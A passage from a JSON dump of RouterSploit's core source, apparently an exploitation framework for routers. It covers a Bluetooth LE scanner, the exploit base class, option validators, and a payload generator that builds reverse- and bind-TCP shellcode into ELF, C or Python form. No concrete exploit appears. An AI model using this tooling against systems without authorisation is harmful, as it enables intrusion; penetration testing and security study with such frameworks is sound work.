\"Energy Sensor\",\n            1357: \"Color Light Sensor\",\n            1358: \"Rain Sensor\",\n            1359: \"Fire Sensor\",\n            1360: \"Wind Sensor\",\n            1361: \"Proximity Sensor\",\n            1362: \"Multi-Sensor\",\n            1408: \"Generic Light Fixtures\",\n            1409: \"Wall Light\",\n            1410: \"Ceiling Light\",\n            1411: \"Floor Light\",\n            1412: \"Cabinet Light\",\n            1413: \"Desk Light\",\n            1414: \"Troffer Light\",\n            1415: \"Pendant Light\",\n            1416: \"In-ground Light\",\n            1417: \"Flood Light\",\n            1418: \"Underwater Light\",\n            1419: \"Bollard with Light\",\n            1420: \"Pathway Light\",\n            1421: \"Garden Light\",\n            1422: \"Pole-top Light\",\n            1423: \"Spotlight\",\n            1424: \"Linear Light\",\n            1425: \"Street Light\",\n            1426: \"Shelves Light\",\n            1427: \"High-bay / Low-bay Light\",\n            1428: \"Emergency Exit Light\",\n            1472: \"Generic Fan\",\n            1473: \"Ceiling Fan\",\n            1474: \"Axial Fan\",\n            1475: \"Exhaust Fan\",\n            1476: \"Pedestal Fan\",\n            1477: \"Desk Fan\",\n            1478: \"Wall Fan\",\n            1536: \"Generic HVAC\",\n            1537: \"Thermostat\",\n            1600: \"Generic Air Conditioning\",\n            1664: \"Generic Humidifier\",\n            1728: \"Generic Heating\",\n            1729: \"Radiator\",\n            1730: \"Boiler\",\n            1731: \"Heat Pump\",\n            1732: \"Infrared Heater\",\n            1733: \"Radiant Panel Heater\",\n            1734: \"Fan Heater\",\n            1735: \"Air Curtain\",\n            1792: \"Generic Access Control\",\n            1793: \"Access Door\",\n            1794: \"Garage Door\",\n            1795: \"Emergency Exit Door\",\n            1796: \"Access Lock\",\n            1797: \"Elevator\",\n            1798: \"Window\",\n            1799: \"Entrance Gate\",\n            1856: \"Generic Motorized Device\",\n            1857: \"Motorized Gate\",\n            1858: \"Awning\",\n            1859: \"Blinds or Shades\",\n            1860: \"Curtains\",\n            1861: \"Screen\",\n            1920: \"Generic Power Device\",\n            1921: \"Power Outlet\",\n            1922: \"Power Strip\",\n            1923: \"Plug\",\n            1924: \"Power Supply\",\n            1925: \"LED Driver\",\n            1926: \"Fluorescent Lamp Gear\",\n            1927: \"HID Lamp Gear\",\n            1984: \"Generic Light Source\",\n            1985: \"Incandescent Light Bulb\",\n            1986: \"LED Bulb\",\n            1987: \"HID Lamp\",\n            1988: \"Fluorescent Lamp\",\n            1989: \"LED Array\",\n            1990: \"Multi-Color LED Array\",\n            3136: \"Generic: Pulse Oximeter\",\n            3137: \"Fingertip\",\n            3138: \"Wrist Worn\",\n            3200: \"Generic: Weight Scale\",\n            3264: \"Generic\",\n            3265: \"Powered Wheelchair\",\n            3266: \"Mobility Scooter\",\n            3328: \"Generic\",\n            5184: \"Generic: Outdoor Sports Activity\",\n            5185: \"Location Display Device\",\n            5186: \"Location and Navigation Display Device\",\n            5187: \"Location Pod\",\n            5188: \"Location and Navigation Pod\",\n        }\n\n        try:\n            code = struct.unpack(\"h\", data)[0]\n\n            if code in appearance.keys():\n                return color_green(appearance[code])\n        except Exception:\n            pass\n\n        return repr(data)\n"
  },
  {
    "path": "routersploit/core/bluetooth/btle/btle_scanner.py",
    "content": "import time\nimport binascii\nfrom bluepy.btle import Scanner, DefaultDelegate\nfrom .btle_device import Device\n\n\nclass BTLEScanner(Scanner):\n    \"\"\" Bluetooth Low Energy Scanner \"\"\"\n\n    def __init__(self, mac=None, iface=0):\n        Scanner.__init__(self, iface)\n        self.mac = mac\n\n    def _decode_address(self, resp):\n        addr = binascii.b2a_hex(resp[\"addr\"][0]).decode(\"utf-8\")\n        return \":\".join([addr[i: i + 2] for i in range(0, 12, 2)])\n\n    def _find_or_create(self, addr):\n        if addr in self.scanned:\n            dev = self.scanned[addr]\n        else:\n            dev = Device(addr, self.iface)\n            self.scanned[addr] = dev\n\n        return dev\n\n    def process(self, timeout=10.0):\n        start = time.time()\n\n        while True:\n            if timeout:\n                remain = start + timeout - time.time()\n                if remain <= 0.0:\n                    break\n            else:\n                remain = None\n\n            resp = self._waitResp([\"scan\", \"stat\"], remain)\n            if resp is None:\n                break\n\n            respType = resp[\"rsp\"][0]\n\n            if respType == \"stat\":\n                if resp[\"state\"][0] == \"disc\":\n                    self._mgmtCmd(\"scan\")\n\n            elif respType == \"scan\":\n                addr = self._decode_address(resp)\n\n                if not self.mac or addr == self.mac:\n                    dev = self._find_or_create(addr)\n\n                    newData = dev._update(resp)\n\n                    if self.delegate:\n                        self.delegate.handleDiscovery(dev, (dev.updateCount <= 1), newData)\n\n                    if self.mac and dev.addr == self.mac:\n                        break\n\n\nclass ScanDelegate(DefaultDelegate):\n    def __init__(self, options):\n        DefaultDelegate.__init__(self)\n        self.options = options\n\n    def handleDiscovery(self, dev, isNewDev, isNewData):\n        if not isNewDev:\n            return\n        elif self.options.mac and dev.addr != self.options.mac:\n            return\n\n        if self.options.buffering:\n            dev.print_info()\n"
  },
  {
    "path": "routersploit/core/bluetooth/btle_client.py",
    "content": "from routersploit.core.exploit.exploit import Exploit\nfrom routersploit.core.exploit.option import OptInteger\nfrom routersploit.core.exploit.printer import (\n    print_error,\n    print_status\n)\nfrom routersploit.core.bluetooth.btle import (\n    ScanDelegate,\n    BTLEScanner\n)\n\n\nclass Options:\n    \"\"\" Options used by the scanner \"\"\"\n\n    def __init__(self, buffering, mac, enum_services):\n        self.buffering = buffering\n        self.mac = mac\n        self.enum_services = enum_services\n\n\nclass BTLEClient(Exploit):\n    \"\"\" Bluetooth Low Energy Client implementation \"\"\"\n\n    scan_time = OptInteger(10, \"Number of seconds to scan for\")\n    buffering = False\n    enum_services = False\n\n    def btle_scan(self, mac=None):\n        \"\"\" Scans for Bluetooth Low Energy devices \"\"\"\n\n        options = Options(\n            self.buffering,\n            mac,\n            self.enum_services\n        )\n\n        scanner = BTLEScanner(options.mac).withDelegate(ScanDelegate(options))\n\n        if options.mac:\n            print_status(\"Scanning BTLE device...\")\n        else:\n            print_status(\"Scanning for BTLE devices...\")\n\n        devices = []\n        try:\n            devices = [res for res in scanner.scan(self.scan_time)]\n        except Exception as err:\n            print_error(\"Error: {}\".format(err))\n            print_error(\"Check if your bluetooth hardware is connected\")\n\n        return devices\n"
  },
  {
    "path": "routersploit/core/exploit/__init__.py",
    "content": "from routersploit.core.exploit.exploit import (\n    Exploit,\n    multi,\n    mute,\n    LockedIterator,\n)\n\nfrom routersploit.core.exploit.option import (\n    OptIP,\n    OptPort,\n    OptInteger,\n    OptFloat,\n    OptBool,\n    OptString,\n    OptMAC,\n    OptWordlist,\n)\n\nfrom routersploit.core.exploit.printer import (\n    print_info,\n    print_status,\n    print_success,\n    print_error,\n    print_table,\n)\n\nfrom routersploit.core.exploit import utils\nfrom routersploit.core.exploit.shell import shell\n\n\n__all__ = [\n    \"Exploit\",\n    \"multi\",\n    \"mute\",\n    \"LockedIterator\",\n    \"OptIP\",\n    \"OptPort\",\n    \"OptInteger\",\n    \"OptFloat\",\n    \"OptBool\",\n    \"OptString\",\n    \"OptMAC\",\n    \"OptWordlist\",\n    \"print_info\",\n    \"print_status\",\n    \"print_success\",\n    \"print_error\",\n    \"print_table\",\n    \"utils\",\n    \"shell\",\n]\n"
  },
  {
    "path": "routersploit/core/exploit/encoders.py",
    "content": "from routersploit.core.exploit.exploit import BaseExploit\nfrom routersploit.core.exploit.printer import print_error\n\n\nclass BaseEncoder(BaseExploit):\n    architecture = None\n\n    def __init__(self):\n        self.module_name = self.__module__.replace(\"routersploit.modules.encoders.\", \"\").replace(\".\", \"/\")\n\n    def encode(self):\n        raise NotImplementedError(\"Please implement 'encode()' method\")\n\n    def run(self):\n        print_error(\"Module cannot be run\")\n\n    def __str__(self):\n        return self.module_name\n\n    def __format__(self, form):\n        return format(self.module_name, form)\n"
  },
  {
    "path": "routersploit/core/exploit/exceptions.py",
    "content": "class RoutersploitException(Exception):\n    def __init__(self, msg: str = \"\"):\n        super(RoutersploitException, self).__init__(msg)\n\n\nclass OptionValidationError(RoutersploitException):\n    pass\n\n\nclass StopThreadPoolExecutor(RoutersploitException):\n    pass\n"
  },
  {
    "path": "routersploit/core/exploit/exploit.py",
    "content": "import os\nimport threading\nimport time\nfrom itertools import chain\nfrom functools import wraps\n\nfrom routersploit.core.exploit.printer import (\n    print_status,\n    thread_output_stream,\n)\nfrom routersploit.core.exploit.option import Option\n\nGLOBAL_OPTS = {}\n\n\nclass Protocol:\n    CUSTOM = \"custom\"\n    TCP = \"custom/tcp\"\n    UDP = \"custom/udp\"\n    FTP = \"ftp\"\n    FTPS = \"ftps\"\n    SSH = \"ssh\"\n    TELNET = \"telnet\"\n    HTTP = \"http\"\n    HTTPS = \"https\"\n    SNMP = \"snmp\"\n\n\nclass ExploitOptionsAggregator(type):\n    \"\"\" Metaclass for exploit base class.\n\n    Metaclass is aggregating all possible Attributes that user can set\n    for tab completion purposes.\n    \"\"\"\n\n    def __new__(cls, name, bases, attrs):\n        try:\n            base_exploit_attributes = chain([base.exploit_attributes for base in bases])\n        except AttributeError:\n            attrs[\"exploit_attributes\"] = {}\n        else:\n            attrs[\"exploit_attributes\"] = {k: v for d in base_exploit_attributes for k, v in d.items()}\n\n        for key, value in attrs.copy().items():\n            if isinstance(value, Option):\n                value.label = key\n                attrs[\"exploit_attributes\"].update({key: [value.display_value, value.description, value.advanced]})\n            elif key == \"__info__\":\n                attrs[\"_{}{}\".format(name, key)] = value\n                del attrs[key]\n            elif key in attrs[\"exploit_attributes\"]:  # removing exploit_attribtue that was overwritten\n                del attrs[\"exploit_attributes\"][key]  # in the child and is not an Option() instance\n\n        return super(ExploitOptionsAggregator, cls).__new__(cls, name, bases, attrs)\n\n\nclass BaseExploit(metaclass=ExploitOptionsAggregator):\n    @property\n    def options(self):\n        \"\"\" Returns list of options that user can set.\n\n        Returns list of options aggregated by\n        ExploitionOptionsAggegator metaclass that user can set.\n\n        :return: list of options that user can set\n        \"\"\"\n\n        return list(self.exploit_attributes.keys())\n\n    def __str__(self):\n        return self.__module__.split('.', 2).pop().replace('.', os.sep)\n\n\nclass Exploit(BaseExploit):\n    \"\"\" Base class for exploits \"\"\"\n\n    target_protocol = Protocol.CUSTOM\n\n    def run(self):\n        raise NotImplementedError(\"You have to define your own 'run' method.\")\n\n    def check(self):\n        raise NotImplementedError(\"You have to define your own 'check' method.\")\n\n    def run_threads(self, threads_number: int, target_function: any, *args, **kwargs) -> None:\n        \"\"\" Run function across specified number of threads\n\n        :param int thread_number: number of threads that should be executed\n        :param func target_function: function that should be executed accross specified number of threads\n        :param any args: args passed to target_function\n        :param any kwargs: kwargs passed to target function\n        :return None\n        \"\"\"\n\n        threads = []\n        threads_running = threading.Event()\n        threads_running.set()\n\n        for thread_id in range(int(threads_number)):\n            thread = threading.Thread(\n                target=target_function,\n                args=chain((threads_running,), args),\n                kwargs=kwargs,\n                name=f\"thread-{thread_id}\",\n            )\n            threads.append(thread)\n\n            # print_status(\"{} thread is starting...\".format(thread.name))\n            thread.start()\n\n        start = time.time()\n        try:\n            while thread.is_alive():\n                thread.join(1)\n\n        except KeyboardInterrupt:\n            threads_running.clear()\n\n        for thread in threads:\n            thread.join()\n            # print_status(\"{} thread is terminated.\".format(thread.name))\n\n        print_status(\"Elapsed time: {0:.4f} seconds\".format(round(time.time() - start, 2)))\n\n\ndef multi(fn):\n    \"\"\" Decorator for exploit.Exploit class\n\n    Decorator that allows to feed exploit using text file containing\n    multiple targets definition. Decorated function will be executed\n    as many times as there is targets in the feed file.\n\n    WARNING:\n    Important thing to remember is fact that decorator will\n    supress values returned by decorated function. Since method that\n    perform attack is not supposed to return anything this is not a problem.\n\n    \"\"\"\n\n    @wraps(fn)\n    def wrapper(self, *args, **kwargs):\n        if self.target.startswith(\"file://\"):\n            original_target = self.target\n            original_port = self.port\n\n            _, _, feed_path = self.target.partition(\"file://\")\n            try:\n                with open(feed_path) as file_handler:\n                    for target in file_handler:\n                        target = target.strip()\n                        if not target:\n                            continue\n\n                        self.target, _, port = target.partition(\":\")\n                        if port:\n                            self.port = port\n                        else:\n                            self.port = original_port\n\n                        fn(self, *args, **kwargs)\n                    self.target = original_target\n                    self.port = original_port\n                    return  # Nothing to return, ran multiple times\n\n            except IOError:\n                return\n        else:\n            return fn(self, *args, **kwargs)\n\n    return wrapper\n\n\nclass DummyFile(object):\n    \"\"\" Mocking file object. Optimilization for the \"mute\" decorator. \"\"\"\n    def write(self, x):\n        pass\n\n\ndef mute(fn):\n    \"\"\" Suppress function from printing to sys.stdout \"\"\"\n\n    @wraps(fn)\n    def wrapper(self, *args, **kwargs):\n        thread_output_stream.setdefault(threading.current_thread(), []).append(DummyFile())\n        try:\n            return fn(self, *args, **kwargs)\n        finally:\n            thread_output_stream[threading.current_thread()].pop()\n    return wrapper\n\n\nclass LockedIterator:\n    def __init__(self, it):\n        self.lock = threading.Lock()\n        self.it = it.__iter__()\n\n    def __iter__(self):\n        return self\n\n    def next(self):\n        self.lock.acquire()\n        try:\n            item = next(self.it)\n\n            if isinstance(item, tuple):\n                return (item[0].strip(), item[1].strip())\n            elif isinstance(item, str):\n                return item.strip()\n\n            return item\n        finally:\n            self.lock.release()\n"
  },
  {
    "path": "routersploit/core/exploit/option.py",
    "content": "import re\nimport os.path\n\nfrom routersploit.core.exploit.exceptions import OptionValidationError\nfrom routersploit.core.exploit.utils import (\n    is_ipv4,\n    is_ipv6,\n)\n\n\n# pylint: disable=no-member\nclass Option:\n    \"\"\" Exploit attribute that is set by the end user \"\"\"\n\n    def __init__(self, default, description=\"\", advanced=False):\n        self.label = None\n        self.description = description\n\n        try:\n            self.advanced = bool(advanced)\n        except ValueError:\n            raise OptionValidationError(\"Invalid value. Cannot cast '{}' to boolean.\".format(advanced))\n\n        if default or default == 0:\n            self.__set__(\"\", default)\n        else:\n            self.display_value = \"\"\n            self.value = \"\"\n\n    def __get__(self, instance, owner):\n        return self.value\n\n\nclass OptIP(Option):\n    \"\"\" Option IP attribute \"\"\"\n\n    def __set__(self, instance, value):\n        if not value or is_ipv4(value) or is_ipv6(value):\n            self.value = self.display_value = value\n        else:\n            raise OptionValidationError(\"Invalid address. Provided address is not valid IPv4 or IPv6 address.\")\n\n\nclass OptPort(Option):\n    \"\"\" Option Port attribute \"\"\"\n\n    def __set__(self, instance, value):\n        try:\n            value = int(value)\n\n            if 0 < value <= 65535:  # max port number is 65535\n                self.display_value = str(value)\n                self.value = value\n            else:\n                raise OptionValidationError(\"Invalid option. Port value should be between 0 and 65536.\")\n        except ValueError:\n            raise OptionValidationError(\"Invalid option. Cannot cast '{}' to integer.\".format(value))\n\n\nclass OptBool(Option):\n    \"\"\" Option Bool attribute \"\"\"\n\n    def __init__(self, default, description=\"\", advanced=False):\n        self.description = description\n\n        if default:\n            self.display_value = \"true\"\n        else:\n            self.display_value = \"false\"\n\n        self.value = default\n\n        try:\n            self.advanced = bool(advanced)\n        except ValueError:\n            raise OptionValidationError(\"Invalid value. Cannot cast '{}' to boolean.\".format(advanced))\n\n    def __set__(self, instance, value):\n        if value == \"true\":\n            self.value = True\n            self.display_value = value\n        elif value == \"false\":\n            self.value = False\n            self.display_value = value\n        else:\n            raise OptionValidationError(\"Invalid value. It should be true or false.\")\n\n\nclass OptInteger(Option):\n    \"\"\" Option Integer attribute \"\"\"\n\n    def __set__(self, instance, value):\n        try:\n            self.display_value = str(value)\n            self.value = int(value)\n        except ValueError:\n            try:\n                self.value = int(value, 16)\n            except ValueError:\n                raise OptionValidationError(\"Invalid option. Cannot cast '{}' to integer.\".format(value))\n\n\nclass OptFloat(Option):\n    \"\"\" Option Float attribute \"\"\"\n\n    def __set__(self, instance, value):\n        try:\n            self.display_value = str(value)\n            self.value = float(value)\n        except ValueError:\n            raise OptionValidationError(\"Invalid option. Cannot cast '{}' to float.\".format(value))\n\n\nclass OptString(Option):\n    \"\"\" Option String attribute \"\"\"\n\n    def __set__(self, instance, value):\n        try:\n            self.value = self.display_value = str(value)\n        except ValueError:\n            raise OptionValidationError(\"Invalid option. Cannot cast '{}' to string.\".format(value))\n\n\nclass OptMAC(Option):\n    \"\"\" Option MAC attribute \"\"\"\n\n    def __set__(self, instance, value):\n        regexp = r\"^[a-f\\d]{1,2}:[a-f\\d]{1,2}:[a-f\\d]{1,2}:[a-f\\d]{1,2}:[a-f\\d]{1,2}:[a-f\\d]{1,2}$\"\n        if re.match(regexp, value.lower()):\n            self.value = self.display_value = value\n        else:\n            raise OptionValidationError(\"Invalid option. '{}' is not a valid MAC address\".format(value))\n\n\nclass OptWordlist(Option):\n    \"\"\" Option Wordlist attribute \"\"\"\n\n    def __get__(self, instance, owner):\n        if self.display_value.startswith(\"file://\"):\n            path = self.display_value.replace(\"file://\", \"\")\n            with open(path, \"r\") as f:\n                lines = [line.strip() for line in f.readlines()]\n                return lines\n\n        return self.display_value.split(\",\")\n\n    def __set__(self, instance, value):\n        if value.startswith(\"file://\"):\n            path = value.replace(\"file://\", \"\")\n            if not os.path.exists(path):\n                raise OptionValidationError(\"File '{}' does not exist.\".format(path))\n\n        self.value = self.display_value = value\n\n\nclass OptEncoder(Option):\n    \"\"\" Option Encoder attribute \"\"\"\n\n    def __init__(self, default, description=\"\", advanced=False):\n        self.description = description\n\n        if default:\n            self.display_value = default\n            self.value = default\n        else:\n            self.display_value = \"\"\n            self.value = None\n\n        try:\n            self.advanced = bool(advanced)\n        except ValueError:\n            raise OptionValidationError(\"Invalid value. Cannot cast '{}' to boolean.\".format(advanced))\n\n    def __set__(self, instance, value):\n        encoder = instance.get_encoder(value)\n\n        if encoder:\n            self.value = encoder\n            self.display_value = value\n        else:\n            raise OptionValidationError(\"Encoder not available. Check available encoders with `show encoders`.\")\n"
  },
  {
    "path": "routersploit/core/exploit/payloads.py",
    "content": "import importlib\nfrom collections import namedtuple\nfrom struct import pack\n\nfrom routersploit.core.exploit.exploit import (\n    BaseExploit,\n    ExploitOptionsAggregator,\n)\nfrom routersploit.core.exploit.option import (\n    OptIP,\n    OptPort,\n    OptString,\n)\nfrom routersploit.core.exploit.exceptions import OptionValidationError\nfrom routersploit.core.exploit.printer import (\n    print_status,\n    print_error,\n    print_success,\n    print_info,\n)\n\nfrom routersploit.core.exploit.utils import (\n    index_modules,\n    random_text,\n)\n\n\narchitectures = namedtuple(\"ArchitectureType\", [\"ARMLE\", \"MIPSBE\", \"MIPSLE\", \"X86\", \"X64\", \"PERL\", \"PHP\", \"PYTHON\"])\nArchitectures = architectures(\n    ARMLE=\"armle\",\n    MIPSBE=\"mipsbe\",\n    MIPSLE=\"mipsle\",\n    X86=\"x86\",\n    X64=\"x64\",\n    PERL=\"perl\",\n    PHP=\"php\",\n    PYTHON=\"python\",\n)\n\npayload_handlers = namedtuple(\"PayloadHandlers\", [\"BIND_TCP\", \"REVERSE_TCP\"])\nPayloadHandlers = payload_handlers(\n    BIND_TCP=\"bind_tcp\",\n    REVERSE_TCP=\"reverse_tcp\",\n)\n\nARCH_ELF_HEADERS = {\n    Architectures.ARMLE: (\n        b\"\\x7f\\x45\\x4c\\x46\\x01\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n        b\"\\x02\\x00\\x28\\x00\\x01\\x00\\x00\\x00\\x54\\x80\\x00\\x00\\x34\\x00\\x00\\x00\"\n        b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x34\\x00\\x20\\x00\\x01\\x00\\x00\\x00\"\n        b\"\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x80\\x00\\x00\"\n        b\"\\x00\\x80\\x00\\x00\\xef\\xbe\\xad\\xde\\xef\\xbe\\xad\\xde\\x07\\x00\\x00\\x00\"\n        b\"\\x00\\x10\\x00\\x00\"\n    ),\n    Architectures.MIPSBE: (\n        b\"\\x7f\\x45\\x4c\\x46\\x01\\x02\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n        b\"\\x00\\x02\\x00\\x08\\x00\\x00\\x00\\x01\\x00\\x40\\x00\\x54\\x00\\x00\\x00\\x34\"\n        b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x34\\x00\\x20\\x00\\x01\\x00\\x00\"\n        b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x40\\x00\\x00\"\n        b\"\\x00\\x40\\x00\\x00\\xde\\xad\\xbe\\xef\\xde\\xad\\xbe\\xef\\x00\\x00\\x00\\x07\"\n        b\"\\x00\\x00\\x10\\x00\"\n    ),\n    Architectures.MIPSLE: (\n        b\"\\x7f\\x45\\x4c\\x46\\x01\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n        b\"\\x02\\x00\\x08\\x00\\x01\\x00\\x00\\x00\\x54\\x00\\x40\\x00\\x34\\x00\\x00\\x00\"\n        b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x34\\x00\\x20\\x00\\x01\\x00\\x00\\x00\"\n        b\"\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x40\\x00\"\n        b\"\\x00\\x00\\x40\\x00\\xef\\xbe\\xad\\xde\\xef\\xbe\\xad\\xde\\x07\\x00\\x00\\x00\"\n        b\"\\x00\\x10\\x00\\x00\"\n    ),\n    Architectures.X86: (\n        b\"\\x7f\\x45\\x4c\\x46\\x01\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n        b\"\\x02\\x00\\x03\\x00\\x01\\x00\\x00\\x00\\x54\\x80\\x04\\x08\\x34\\x00\\x00\\x00\"\n        b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x34\\x00\\x20\\x00\\x01\\x00\\x00\\x00\"\n        b\"\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x80\\x04\\x08\"\n        b\"\\x00\\x80\\x04\\x08\\xef\\xbe\\xad\\xde\\xef\\xbe\\xad\\xde\\x07\\x00\\x00\\x00\"\n        b\"\\x00\\x10\\x00\\x00\"\n    ),\n    Architectures.X64: (\n        b\"\\x7f\\x45\\x4c\\x46\\x02\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n        b\"\\x02\\x00\\x3e\\x00\\x01\\x00\\x00\\x00\\x78\\x00\\x40\\x00\\x00\\x00\\x00\\x00\"\n        b\"\\x40\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n        b\"\\x00\\x00\\x00\\x00\\x40\\x00\\x38\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n        b\"\\x01\\x00\\x00\\x00\\x07\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n        b\"\\x00\\x00\\x40\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x40\\x00\\x00\\x00\\x00\\x00\"\n        b\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\n        b\"\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\"\n    )\n}\n\n\nclass ReverseTCPPayloadMixin(metaclass=ExploitOptionsAggregator):\n    handler = PayloadHandlers.REVERSE_TCP\n    lhost = OptIP('', 'Connect-back IP address')\n    lport = OptPort(5555, 'Connect-back TCP Port')\n\n\nclass BindTCPPayloadMixin(metaclass=ExploitOptionsAggregator):\n    handler = PayloadHandlers.BIND_TCP\n    rport = OptPort(5555, 'Bind Port')\n\n\nclass BasePayload(BaseExploit):\n    architecture = None\n    handler = None\n    encoder = OptString(\"\", \"Encoder\")\n    fmt = None\n\n    def __init__(self):\n        if self.handler not in PayloadHandlers:\n            raise OptionValidationError(\n                \"Please use one of valid payload handlers: {}\".format(\n                    PayloadHandlers._fields\n                )\n            )\n\n    def generate(self):\n        raise NotImplementedError(\"Please implement 'generate()' method\")\n\n    def run(self):\n        raise NotImplementedError()\n\n    def get_encoders(self):\n        encoders = []\n\n        # get all encoders for given architecture\n        all_encoders = [e for e in index_modules() if \"encoders.{}\".format(self.architecture) in e]\n\n        for e in all_encoders:\n            encoder = e.replace(\"encoders.{}.\".format(self.architecture), \"\").replace(\".\", \"/\")\n            module = getattr(importlib.import_module('routersploit.modules.' + e), \"Encoder\")\n            encoders.append((\n                \"{}/{}\".format(self.architecture, encoder),\n                module._Encoder__info__[\"name\"],\n                module._Encoder__info__[\"description\"],\n            ))\n\n        return encoders\n\n    def get_encoder(self, encoder):\n        module_path = \"routersploit/modules/encoders/{}\".format(encoder).replace(\"/\", \".\")\n\n        try:\n            module = getattr(importlib.import_module(module_path), \"Encoder\")\n        except ImportError:\n            return None\n\n        return module()\n\n\nclass ArchitectureSpecificPayload(BasePayload):\n    output = OptString(\"python\", \"Output type: elf/c/python\")\n    filepath = OptString(\"/tmp/{}\".format(random_text(8)), \"Output file to write\")\n\n    def __init__(self):\n        super(ArchitectureSpecificPayload, self).__init__()\n        if self.architecture not in Architectures:\n            raise OptionValidationError(\n                \"Please use one of valid payload architectures: {}\".format(\n                    Architectures._fields\n                )\n            )\n\n        self.header = ARCH_ELF_HEADERS[self.architecture]\n        self.bigendian = True if self.architecture.endswith(\"be\") else False\n\n    def run(self):\n        print_status(\"Generating payload\")\n        try:\n            data = self.generate()\n        except OptionValidationError as e:\n            print_error(e)\n            return\n\n        if self.output == \"elf\":\n            with open(self.filepath, \"wb+\") as f:\n                print_status(\"Building ELF payload\")\n                content = self.generate_elf(data)\n                print_success(\"Saving file {}\".format(self.filepath))\n                f.write(content)\n        elif self.output == \"c\":\n            print_success(\"Bulding payload for C\")\n            content = self.generate_c(data)\n            print_info(content)\n        elif self.output == \"python\":\n            print_success(\"Building payload for python\")\n            content = self.generate_python(data)\n            print_info(content)\n        else:\n            raise OptionValidationError(\n                \"No such option as {}\".format(self.output)\n            )\n\n        return content\n\n    def generate_elf(self, data):\n        elf = self.header + data\n\n        if elf[4] == 1:  # ELFCLASS32 - 32 bit\n            if self.bigendian:\n                p_filesz = pack(\">L\", len(elf))\n                p_memsz = pack(\">L\", len(elf) + len(data))\n            else:\n                p_filesz = pack(\"<L\", len(elf))\n                p_memsz = pack(\"<L\", len(elf) + len(data))\n\n            content = elf[:0x44] + p_filesz + p_memsz + elf[0x4c:]\n        elif elf[4] == 2:  # ELFCLASS64 - 64 bit\n            if self.bigendian:\n                p_filesz = pack(\">Q\", len(elf))\n                p_memsz = pack(\">Q\", len(elf) + len(data))\n            else:\n                p_filesz = pack(\"<Q\", len(elf))\n                p_memsz = pack(\"<Q\", len(elf) + len(data))\n\n            content = elf[:0x60] + p_filesz + p_memsz + elf[0x70:]\n\n        return content\n\n    @staticmethod\n    def generate_c(data):\n        res = \"unsigned char sh[] = {\\n    \\\"\"\n        for idx, x in enumerate(data):\n            if idx % 15 == 0 and idx != 0:\n                res += \"\\\"\\n    \\\"\"\n            res += \"\\\\x%02x\" % x\n        res += \"\\\"\\n};\"\n        return res\n\n    @staticmethod\n    def generate_python(data):\n        res = \"payload = (\\n    \\\"\"\n        for idx, x in enumerate(data):\n            if idx % 15 == 0 and idx != 0:\n                res += \"\\\"\\n    \\\"\"\n            res += \"\\\\x%02x\" % x\n        res += \"\\\"\\n)\"\n        return res\n\n\nclass GenericPayload(BasePayload):\n    def run(self):\n        print_status(\"Generating payload\")\n\n        payload = self.generate()\n        if self.encoder:\n            payload = self.encoder.encode(payload)\n\n        if self.fmt:\n            payload = self.fmt.format(payload)\n\n        print_info(payload)\n        return payload\n"
  },
  {
    "path": "routersploit/core/exploit/printer.py",
    "content": "import threading\nimport sys\nimport collections\nfrom weakref import WeakKeyDictionary\n\ntry:\n    import queue\nexcept ImportError:  # Python 3.x\n    import Queue as queue\n\n\nprinter_queue = queue.Queue()\nthread_output_stream = WeakKeyDictionary()\n\nPrintResource = collections.namedtuple(\"PrintResource\", [\"content\", \"sep\", \"end\", \"file\", \"thread\"])\n\n\nclass PrinterThread(threading.Thread):\n    def __init__(self):\n        super(PrinterThread, self).__init__()\n        self.daemon = True\n\n    def run(self):\n        while True:\n            content, sep, end, file_, thread = printer_queue.get()\n            print(*content, sep=sep, end=end, file=file_)\n            printer_queue.task_done()\n\n\ndef __cprint(*args, **kwargs):\n    \"\"\" Color print()\n\n    Signature like Python 3 print() function\n    print([object, ...][, sep=' '][, end='\\n'][, file=sys.stdout])\n    \"\"\"\n    if not kwargs.pop(\"verbose\", True):\n        return\n\n    sep = kwargs.get(\"sep\", \" \")\n    end = kwargs.get(\"end\", \"\\n\")\n    thread = threading.current_thread()\n    try:\n        file_ = thread_output_stream.get(thread, ())[-1]\n    except IndexError:\n        file_ = kwargs.get(\"file\", sys.stdout)\n\n    printer_queue.put(PrintResource(content=args, sep=sep, end=end, file=file_, thread=thread))\n\n\ndef print_error(*args, **kwargs) -> None:\n    \"\"\" Print error message prefixing it with [-]\n\n    \"\"\"\n\n    __cprint(\"\\033[91m[-]\\033[0m\", *args, **kwargs)\n\n\ndef print_status(*args, **kwargs) -> None:\n    \"\"\" Print status message prefixing it with [-]\n\n    \"\"\"\n\n    __cprint(\"\\033[94m[*]\\033[0m\", *args, **kwargs)\n\n\ndef print_success(*args, **kwargs) -> None:\n    \"\"\" Print success message prefixing it with [-]\n\n    \"\"\"\n\n    __cprint(\"\\033[92m[+]\\033[0m\", *args, **kwargs)\n\n\ndef print_info(*args, **kwargs) -> None:\n    \"\"\" Print info message prefixing it with [-]\n\n    \"\"\"\n\n    __cprint(*args, 